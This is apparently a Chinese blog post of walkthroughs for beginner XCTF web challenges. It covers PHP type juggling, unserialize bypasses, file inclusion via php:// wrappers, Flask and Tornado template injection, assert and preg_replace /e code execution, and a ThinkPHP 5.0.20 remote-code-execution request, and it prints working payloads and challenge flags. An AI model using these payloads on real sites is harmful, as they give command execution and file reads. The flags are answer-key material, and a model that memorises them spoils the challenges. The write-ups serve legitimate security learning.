simple_js
查看题目源码,可以看到下面这段js代码
<script type="text/javascript">
function dechiffre(pass_enc) {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i, j, k, l = 0,
m, n, o, p = "";
i = 0;
j = tab.length;
k = j + (l) + (n = 0);
n = tab2.length;
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
p += String.fromCharCode((o = tab2[i]));
if (i == 5) break;
}
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
if (i > 5 && i < k - 1) p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert(dechiffre(h));
</script>
分析一下这段代码,可以发现,传入的pass_enc
并没有被使用。dechiffre
这个函数使用都是在对内部pass
进行编码。
简化一下这一段javascript代码
<script type="text/javascript">
// 定义一个名为 dechiffre 的函数,它接受一个由ASCII码组成的逗号分隔的字符串
function dechiffre(pass_enc) {
// 定义一个字符串,包含了"FAUX PASSWORD HAHA"每个字符的ASCII码,逗号分隔
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
// 将传入的参数 pass_enc 按逗号分割成数组
var tab = pass_enc.split(',');
// 将字符串 pass 按逗号分割成数组
var tab2 = pass.split(',');
// 初始化结果字符串
var result = "";
// 仅对前6个字符进行转换,因为原始代码在第六次迭代时终止
for (var i = 0; i < 6; i++) {
result += String.fromCharCode(tab2[i]);
}
// 从第7个字符开始,直到倒数第二个字符
for (var i = 6; i < tab2.length - 1; i++) {
result += String.fromCharCode(tab2[i]);
}
// 添加最后一个字符
result += String.fromCharCode(tab2[tab2.length - 1]);
// 返回解码后的字符串
return result;
}
// 通过调用 dechiffre 函数将硬编码的十六进制字符串转换为ASCII字符串
var decodedString = dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30");
// 输出转换后的字符串
console.log(decodedString);
// 弹出一个提示框,要求用户输入密码
var userInput = window.prompt('Enter password');
// 调用 dechiffre 函数处理用户输入的密码,并显示结果
alert(dechiffre(userInput));
</script>
然后发现。。。他的循环都是多余的,于是最后简化为
<script type="text/javascript">
function dechiffre() {
return String.fromCharCode.apply(null, "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65".split(','));
}
alert(dechiffre()); // 显示解码后的结果
</script>
那么显而易见,答案应该就是后面那串16进制的数了
x = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print(bytes([int(num) for num in x.split(',')]).decode('utf-8'))
# 55,56,54,79,115,69,114,116,107,49,50
# 786OsErtk12
所以最后的flag为Cyberpeace{786OsErtk12}
PHP2
打开题目只有一句话
使用dirsearch
扫描,没有任何结果
然后一番百度得知,php文件源代码通常在phps文件,尝试一下
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
分析代码,可以看出,需要get
携带参数id
,但是id
又不能是admin
,且在urldecode
后又要等于admin
因此这里考察的是,url
会处理一次编码,PHP
的urldecode
会再一次处理编码,所以最后只需要对admin
进行两次编码即可。
Payload: id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
flag:cyberpeace{87f6755a3d8c940638426af4233f43af}
ics-06
打开网页,哇好高级的页面(傍读)
但是最后发现,只有报表中心可以点
然后,没有然后了,是对id用burp爆破
最后在2333的时候拿到了值
最后的flag为cyberpeace{91dbbc8e6129bf60a3ba094e093f1341}
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
经典反序列化问题,需要绕开__wakeup
,这里使用的是CVE-20167124
,当序列化字符串对象属性数量大于实际的属性数量时,将不会调用__wakeup函数。
Payload:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Flag:cyberpeace{ba5260721361e2b4869044e1b9e453ff}
php_rce
ThinkPHP版本是5.0.20
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=cat /flag
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
看到了提示,应该是用伪协议绕过,但是他又有替换,所以考虑使用大小写绕过
GET: ?page=Php://input
POST: <?=system('ls');
GET: ?page=Php://input
POST: <?=show_source('fl4gisisish3r3.php');
Flag: ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
upload1
没什么难度,就是传php马,校验后f12删掉上传input后的disabled
就可以成功上传了,最后读取flag.php
拿到flag
Flag:cyberpeace{ace12811a6fe2b35bc94260089b48db5}
warmup
打开题目,滑稽~
看到注释去source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
分析代码,第二次判断时候,使用的是$_page
是经过分割后的
flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}
NewsCenter
数据库题,先放放
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
分析代码,需要绕开preg_match
和__wakeup
即可
preg_match
的绕开需要用:+4:
替换掉原本的:4:
__wakeup
则使用前面提到的CVE去解决
>>> base64.b64decode('TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==')
b'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
Flag: ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
web2
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
Exp.py
import base64
import codecs
miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"
temp = base64.b64decode(codecs.encode(miwen, 'rot_13')[::-1]).decode()
mingwen = ""
for item in temp:
mingwen = mingwen + chr(ord(item) - 1)
mingwen=mingwen[::-1]
print(mingwen)
flag:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
Web_python_template_injection
from flask
import Flask,request,render_template_string from urllib
import unquote
app = Flask(__name__)
@app.route("/")
def hello():
return "python template injection"
@app.errorhandler(404)
def page_not_found(error):
url = unquote(request.url)
return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
以上是做完题后拿到的源代码(x
打开网页没有任何提示,然后就随便访问一下,发现404页面可以注入,那就常规注入
{{ config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read() }}
发现文件名是fl4g
config.__class__.__init__.__globals__[%27os%27].popen(%27cat fl4g%27).read()
flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
mfw
这道题居然主要考点是git泄漏?!这算web吗?
使用dirsearch扫描下来,发现有很多git文件
使用githeacker
把git解一下,可以看到目录结构和源码,但是很可惜templates/flag.php
是空的,只能从主页入手
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
分析代码,结合百度,只有从assert
入手
第一个assert
是校验用,而第二个assert
才是我们入手的地方。
在PHP官网查到assert
的定义:
assert(mixed $assertion, Throwable|string|null $description = null): bool
其中,assertion
可以是任何带返回值的表达式,运行后的结果用于表示断言成功还是失败。
在下方存在一个警告:
在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。
而本题的PHP版本是:5.6.37
所以payload如下:
?page=flag') or system('cat templates/flag.php');//
然后通过F12的到flag,因为他不会显示!
flag:cyberpeace{d0ab3a0679883b7b51d1b02533ff2410}
Cat
输入域名,没有任何回显,输入ip可以ping反回,随便尝试输入(正常应该用fuzz去扫)发现输入超过ascii 0-127会报错,然后就可以获取到一些报错输出,其中有sql地址
然后通过报错头部显示的:
得知请求方式是post,结合大佬的说法(PHP官方文档已经修改x
曾经的文档:
可以知道使用@
前缀可以让php直接发送文件,那么payload如下:
?url=@/opt/api/database.sqlite3
然后搜索关键词flag
没找到,又尝试ctf
,找到了
最后flag为:WHCTF{yoooo_Such_A_G00D_@}
(不知道为什么没有A)
后记:
在github上发现
这段话于2016年4月8日被修改,再之前的版本是可以看到这个提示的
inget
sql注入,提示实在是太少了,没想法,学了sql再说(
ics-05
这次打开只有设备维护中心可以点击,进去发现没啥可用的,然后dirsearch
扫描也没结果
瞎点发现标题有点东西最后变成了index.php?page=index
,先上伪协议尝试读读源码
php://filter/read=convert.base64-encode/resource=index.php
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
看到最后调试部分的函数,应该是利用preg_replace
的洞了/e
可执行
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即:'、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误 (比如: 'strlen(\'$1\')+strlen("$2")')。确保符合 PHP 的 字符串语法,并且符合 eval 语法。因为在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。
Payload:pat=/1/e&rep=system('cat s3chahahaDir/flag/flag.php');&sub=1
flag: cyberpeace{09faea056db51e853bfe0ee777078f35}
easytornado
error?msg={{%20handler.settings%20}}
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'f72d9484-76f2-47ae-b9f6-42228baf2443'}
根据/hint
的提示
md5(cookie_secret + md5(filename))
import hashlib
cookie_secret = 'f72d9484-76f2-47ae-b9f6-42228baf2443'
filename = '/fllllllllllllag'
filehash = hashlib.md5()
filenamemd5 = hashlib.md5()
filenamemd5.update(filename.encode())
filehash.update((cookie_secret + filenamemd5.hexdigest()).encode())
print(filehash.hexdigest())
?filename=/fllllllllllllag&filehash=84efa9c9a60b08ab0626fee5c7a8b22c
flag{3f39aea39db345769397ae895edb9c70}
fileclude
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
分析代码,有两个参数file1
和file2
,当file_get_contents($file2)
的值为hello ctf
时就会加载file1
的文件。这里考虑使用php伪协议
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
POST:
hello ctf
//PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtjNGE1OTE2MDI0MDFkNDgzODM0M2ZjNmRjMTNmMTY0Zn0=
<?php
echo "WRONG WAY!";
// $flag = cyberpeace{c4a591602401d4838343fc6dc13f164f}
lottery
下载附件,分析一下,里面的内容
最后在api.php
中发现了问题
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
其中比较部分,使用的是==
,根据PHP文档的说法
对于一个非零字符数字,除了传入对应的数字或者字符数字,还可以直接传入true,恰好他并没有对传入的值进行检查
所以,直接传入true刷钱
payload:
{"action":"buy","numbers":[ true, true, true, true, true, true, true ]}
然后直接买flag
fileinclude
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
在注释里找到这么一段代码,没有对cookie校验,那就直接利用@include
的漏洞使用伪协议读文件里
再加上有这么一段提示Hi,EveryOne,The flag is in flag.php
Payload:COOKIE['language']=php://filter/read=convert.base64-encode/resource=flag
得到:PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezFlOTNlZjI3ODVkN2FkYTM3NDNmNTU5ODA1ODJkODY5fSI7DQo/Pg==
<?php
$flag="cyberpeace{1e93ef2785d7ada3743f55980582d869}";
?>
English.php:
Please choose the language you want : English or Chinese
<?php
echo "<h1>Hi,EveryOne,The flag is in flag.php</h1>";
?>
shrine
哎,还得手动格式化代码,烦内~
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
# 攻防世界给的代码不对,少了<path:shrine>,但是也能够试出来(
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
分析一下,flag在config里,但是他又过滤了config,所以得从其他地方拿到config
payload:{{url_for.__globals__['current_app'].config}}
flag: flag{shrine_is_good_ssti}
fakeboot
要数据库,先放放
file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
Check.php:
<?php
if($_GET["filename"]){
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username)) {
die("do not hack!");
}
}
伪协议相关:
payload:php://filter/convert.iconv.utf8.utf16/resource=./flag.php
知识点:convert
待补充
easyphp
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
分析代码,第一部分
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
// a的值通过intval后要大于6000000,但是长度又要小于4,那就要考虑科学记数法了,这里直接给a=1e9
// b的md5最后六位要等于8b184b,用php跑一下,找到最小的值是53724,所以b=53724
// 53724 7597945 25377570 38568365 56733791 70456890 补充一下这几个都可以
第二部分就麻烦一些了
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
c
是通过json_decode
解析后成为一个array
,接下来分析c的条件
c
中要有两个值,分别为m
和n
其中,m
要求不是数字,但是又要满足与2022比较大小比其大,这里可以利用PHP弱类型比较,2023a>2022
n
的要求则是数组,且有且只有两个成员,第一个成员是一个数组,第二个成员任意
这里要利用array_search
easyupload
PS:.user.ini
和auto_prepend_file
bug
cyberpeace{b6063c2e13b497eb5ce52b87c5550c34}
1 条评论
喜欢看攻防类的咨询,不明觉厉